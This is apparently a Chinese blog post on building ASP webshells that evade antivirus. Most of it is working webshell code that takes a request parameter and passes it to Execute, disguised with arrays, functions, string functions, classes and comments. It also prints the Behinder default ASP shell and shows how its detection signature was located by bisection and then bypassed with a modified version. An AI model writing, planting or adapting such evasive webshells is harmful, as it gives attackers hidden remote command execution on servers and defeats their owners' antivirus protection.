webshell免杀研究asp篇

原理

向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。

结构

实现两步

  1. 数据的传递
  2. 执行所传递的数据

数据的传递

request

执行所传递的数据

Eval

Execute

ExecuteGlobal

免杀思路

相比于php和jsp,由于asp语法结构较简单,很难在代码中完全不出现eval、execute等关键字,而request本身不被查杀,所以要对request的变量传递到execute等变量的过程做一定处理,使杀毒软件无法直接检测到两者的关系。

免杀

数组

使用数组中的变量接收传入参数,规避查杀

1
2
3
4
5
<%
dim a(5)
a(0)=request("99999")
eXecUTe(a(0))
%>

函数

使用函数将数据传递与执行分开,规避查杀

1
2
3
4
5
6
7
8
9
<%
Function a():
a = request("99999")
End Function
Function b():
eXecUTe(a())
End Function
b()
%>

使用字符串处理函数

使用asp的一些默认字符串处理函数做处理,再配合数组或函数等,将数据传递与执行分开,规避查杀

字符串处理函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
函数	描述
InStr 返回字符串在另一字符串中首次出现的位置。检索从字符串的第一个字符开始。
InStrRev 返回字符串在另一字符串中首次出现的位置。检索从字符串的最末字符开始。
LCase 把指定字符串转换为小写。
Left 从字符串的左侧返回指定数目的字符。
Len 返回字符串中的字符数目。
LTrim 删除字符串左侧的空格。
RTrim 删除字符串右侧的空格。
Trim 删除字符串左侧和右侧的空格。
Mid 从字符串返回指定数目的字符。
Replace 使用另外一个字符串替换字符串的指定部分指定的次数。
Right 返回从字符串右侧开始指定数目的字符。
Space 返回由指定数目的空格组成的字符串。
StrComp 比较两个字符串,返回代表比较结果的一个值。
String 返回包含指定长度的重复字符的字符串。
StrReverse 反转字符串。
UCase 把指定的字符串转换为大写。

用法示例

1
2
3
4
5
Mid(str, 3) 从str的第3个字符开始截取到最后
Mid(str, 3, 2) 从str的第3个字符开始截取之后的2个字符
Left(str, 3) 截取str的前三个字符
Right(str, 3) 截取str的后三个字符
StrReverse(str) 反转字符串

免杀木马示例:

1
2
3
4
5
6
7
8
<%
Function x():
x = request("99999")
End Function
y = Mid(x(),1)
z = y&""
eXecUTe(z)
%>
1
2
3
4
5
6
7
<%
Function x():
x = request("99999")
End Function
y = StrReverse(x())
eXecUTe(y)
%>

在类中定义执行函数,在外部接收参数,可做到一定程度的免杀。

单独在类中定义目前也会被报一级可疑,所以这里采用了类+数组的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%
Class zzz

private yyy
Private Sub Class_Initialize
yyy = ""
End Sub
public property let www(yyy)
execute(yyy)
end property

End Class

Set xxx= New zzz
dim vvv(7)
vvv(2)=request("99999")
xxx.www= vvv(2)
%>

混合方式

以上几种都是单一的思路,实战中可以混合以上的多种方式并增加注释、无意义的赋值、字符串处理、加密、编码等,就可以产生更多种免杀木马,随用随写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%
<!--
Class zzz

private yyy
Private Sub Class_Initialize
yyy = ""
End Sub
public property let www(yyy)
execute(yyy)
end property

End Class

Set xxx= New zzz
dim vvv(7)
vvv(2)=request("99999")&""
xxx.www= vvv(2)
-->
%>

冰蝎改造

冰蝎默认马

1
2
3
4
5
6
7
8
9
10
11
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>

直接查杀报已知后门

通过二分法发现,查杀规则在

1
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))

将其替换为result=1则不报告木马,所以需要对此句代码进行修改

然后仅尝试用最简单的增加一遍赋值,并拆开“&”就绕过了规则

1
2
3
4
5
6
7
8
9
10
11
12
13
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b"
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
t=Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
tt=result&t
result=tt
Next
execute(result)
%>

参考文档

https://www.w3school.com.cn/vbscript/vbscript_ref_functions.asp


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!